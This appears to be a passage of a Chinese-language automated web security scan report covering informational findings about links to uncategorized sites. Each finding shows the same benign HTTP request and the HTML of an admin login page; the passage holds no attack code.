Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
   <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
   <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/imq/icon57.png"</pre>
sizes="57x57">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
```

```
<link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
   <!-- END Icons -->
    <!-- Stylesheets -->
   <!-- Bootstrap is included in its original form, unaltered -->
   k rel="stylesheet" type="text/css"
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
<link rel="stylesheet" href="css/font-awesome.min.css"/>
   <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
   <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
   <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
   <!-- END Stylesheets -->
   <style>
        .error {
         color: red;
                                       微软雅黑";font-size:16px;padding-top:10px;}
         .toptitle{font-family:"
         body{background-color: #F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
   <!-- Modernizr (browser feature detection library) -->
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
   <!-- Login Background -->
    <div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
   </div>
   <!-- END Login Background -->
   <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
       <!-- Login Title -->
        <!-- END Login Title -->
        <!-- Login Block -->
        <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
                 <div align="center" style="padding:30px 0;">
                         <img src="image/toptitle.png" style="width:80%;"/>
                                                      资源商城管理平台</div>
                         <div class="toptitle">
                </div>
          <!-- Login Form -->
          <form id="form-login" class="form-horizontal">
          <div class="form-group"
. . .
. . .
```

问题 4 / 19 Toc

未分类站点	点的链接
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png (Link)
风险:	不适用
原因:	不适用
固定值:	检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1
Host: system-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Length: 13885
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if qt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
   <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
```

```
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
        .error {
         color: red;
         .toptitle{font-family:"
                                       微软雅黑";font-size:16px;padding-top:10px;}
         body{background-color: #F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
    <!-- Login Background -->
    <div id="login-background">
        <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
    <!-- END Login Background -->
    <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
        <!-- Login Title -->
        <!-- END Login Title -->
        <!-- Login Block -->
        <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
```



问题 5 / 19 Toc

未分类站点的链接	
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js (Link)
风险:	不适用
原因:	不适用
固定值:	检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1
Host: system-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
```

```
<!--[if at IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/imq/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
        .error {
          color: red;
                                       微软雅黑";font-size:16px;padding-top:10px;}
         .toptitle{font-family:"
         body{background-color: #F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
    <script src="http://sunui.scn.weilian.cn:12809/se/src/pluqin/modernizr/modernizr.min.js">
</script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
<!-- Login Background -->
```

```
<div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
   </div>
   <!-- END Login Background -->
   <!-- Login Container -->
   <div id="login-container" class="animation-fadeIn">
      <!-- Login Title -->
       <!-- END Login Title -->
       <!-- Login Block -->
       <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
               <div align="center" style="padding:30px 0;">
                      </div>
        <!-- Login Form -->
        <form id="form-login" class="form-horizontal">
        <div class="form-group"
```



问题 6 / 19 Toc

未分类站点的链接	
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js (Link)
风险:	不适用
原因:	不适用
固定值:	检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1

Host: system-rest-enterprise.mall.xt.weilian.cn

Connection: keep-alive

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/57.0.2987.133 Safari/537.36

Upgrade-Insecure-Requests: 1
```

```
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with.content-type.sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 91>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 <link rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
    <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
    <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <! -- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
       .error {
         color: red;
```

```
.toptitle{font-family:" 微软雅黑";font-size:16px;padding-top:10px;}
        body{background-color: #F2F4F4;}
        #login-background{background-color:#730000;}
   </style>
   <!-- Modernizr (browser feature detection library) -->
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
   <!-- Login Background -->
   <div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
   </div>
   <!-- END Login Background -->
   <!-- Login Container -->
   <div id="login-container" class="animation-fadeIn">
       <!-- Login Title -->
       <!-- END Login Title -->
       <!-- Login Block -->
       <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
                <div align="center" style="padding:30px 0;">
                        <!-- Login Form -->
         <form id="form-login" class="form-horizontal">
         <div class="form-group"
```



问题 **7** / **19** Toc

未分类站点	点的链接
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css (Link)
风险:	不适用
原因:	不适用
固定值:	检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1
Host: system-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
    <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
browsers -->
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon57.png"</pre>
sizes="57x57">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
sizes="114x114">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
    <!-- END Icons -->
    <!-- Stylesheets -->
    <!-- Bootstrap is included in its original form, unaltered -->
    <link rel="stylesheet" type="text/css"</pre>
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
 k rel="stylesheet" href="css/font-awesome.min.css"/>
    <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
```

```
<!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
   <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
    <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
    <!-- END Stylesheets -->
    <style>
        .error {
          color: red;
         .toptitle{font-family:"
                                        微软雅黑";font-size:16px;padding-top:10px;}
         body{background-color:#F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
    <!-- Modernizr (browser feature detection library) -->
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
    <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
<body>
    <!-- Login Background -->
    <div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
    <!-- END Login Background -->
    <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
        <!-- Login Title -->
        <!-- END Login Title -->
        <!-- Login Block -->
        <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
                  <div align="center" style="padding:30px 0;">
                          | Style="width:80%;"/>
| cing src="image/toptitle.png" style="width:80%;"/>
| cdiv class="toptitle"> 资源商城管理平台</div
                 </div>
          <!-- Login Form -->
          <form id="form-login" class="form-horizontal">
          <div class="form-group"
. . .
```



问题 8 / 19 Toc

未分类站点的链接	
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js (Link)
风险:	不适用
原因:	不适用
固定值:	检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1
Host: system-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Content-Length: 13885
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Thu, 11 Jan 2018 10:54:34 GMT
<!DOCTYPE html>
<!--[if IE 9]>
<html class="no-js lt-ie10" lang="en"> <![endif]-->
<!--[if gt IE 9]><!-->
<html class="no-js" lang="en">
<!--<![endif]-->
<head>
    <meta charset="utf-8">
    <title>系统登录</title>
   <meta name="description" content="ProUI is a Responsive Bootstrap Admin Template created by</pre>
pixelcave and published on Themeforest.">
    <meta name="author" content="pixelcave">
    <meta name="robots" content="noindex, nofollow">
   <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0,</pre>
user-scalable=no">
    <!-- Icons -->
    <!-- The following icons can be replaced with your own, they are used by desktop and mobile
    <link rel="shortcut icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/favicon.png">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/imq/icon57.png"</pre>
sizes="57x57">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon72.png"</pre>
sizes="72x72">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon76.png"</pre>
sizes="76x76">
    <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon114.png"</pre>
```

```
<link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon120.png"</pre>
sizes="120x120">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon144.png"</pre>
sizes="144x144">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png"</pre>
sizes="152x152">
   <link rel="apple-touch-icon" href="http://sunui.scn.weilian.cn:12809/se/demo/img/icon180.png"</pre>
sizes="180x180">
   <!-- END Icons -->
    <!-- Stylesheets -->
   <!-- Bootstrap is included in its original form, unaltered -->
   k rel="stylesheet" type="text/css"
href="http://sunui.scn.weilian.cn:12809/se/style/css/bootstrap/bootstrap.min.css"/>
<link rel="stylesheet" href="css/font-awesome.min.css"/>
   <link rel="stylesheet" href="css/build.css"/>
    <!-- Related styles of various icon packs and plugins -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/plugins.css">
   <!-- The main stylesheet of this template. All Bootstrap overwrites are defined in here -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/main.css">
   <!-- Include a specific file here from css/themes/ folder to alter the default theme of the
template -->
    <!-- The themes stylesheet of this template (for using specific theme color in individual
elements - must included last) -->
   <link rel="stylesheet" href="http://sunui.scn.weilian.cn:12809/se/demo/css/themes.css">
   <!-- END Stylesheets -->
   <style>
        .error {
         color: red;
                                       微软雅黑";font-size:16px;padding-top:10px;}
         .toptitle{font-family:"
         body{background-color: #F2F4F4;}
         #login-background{background-color:#730000;}
    </style>
   <!-- Modernizr (browser feature detection library) -->
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/modernizr/modernizr.min.js">
</script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/jQuery/jquery.min.js"</pre>
type="text/javascript" charset="utf-8"></script>
   <script src="http://sunui.scn.weilian.cn:12809/se/src/plugin/layer/layer.js"</pre>
type="text/javascript" charset="utf-8"></script>
</head>
<body>
   <!-- Login Background -->
    <div id="login-background">
       <!-- For best results use an image with a resolution of 2560x400 pixels (prefer a blurred
image for smaller file size) -->
   </div>
   <!-- END Login Background -->
   <!-- Login Container -->
    <div id="login-container" class="animation-fadeIn">
       <!-- Login Title -->
        <!-- END Login Title -->
        <!-- Login Block -->
        <div class="block push-bit" style="background-color:#F6F6F6;padding-left:100px;padding-</pre>
right:100px;" >
                 <div align="center" style="padding:30px 0;">
                         <img src="image/toptitle.png" style="width:80%;"/>
                                                      资源商城管理平台</div>
                         <div class="toptitle">
                </div>
          <!-- Login Form -->
          <form id="form-login" class="form-horizontal">
          <div class="form-group"
. . .
. . .
```

问题 9 / 19 Toc

未分类站点的链接	
严重性:	参考
CVSS 分数:	0.0
URL:	http://system-rest-enterprise.mall.xt.weilian.cn/
实体:	http://sunui.scn.weilian.cn:12809/se/demo/img/icon152.png (Link)
风险:	不适用
原因:	不适用
固定值:	检查链接,确定它是否确实本应包含在 Web 应用程序中

差异:

推理: 未列在 IBM X-Force Exchange URL 过滤数据库的链接,安全或非安全都有。 测试请求和响应:

```
GET / HTTP/1.1
Host: system-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
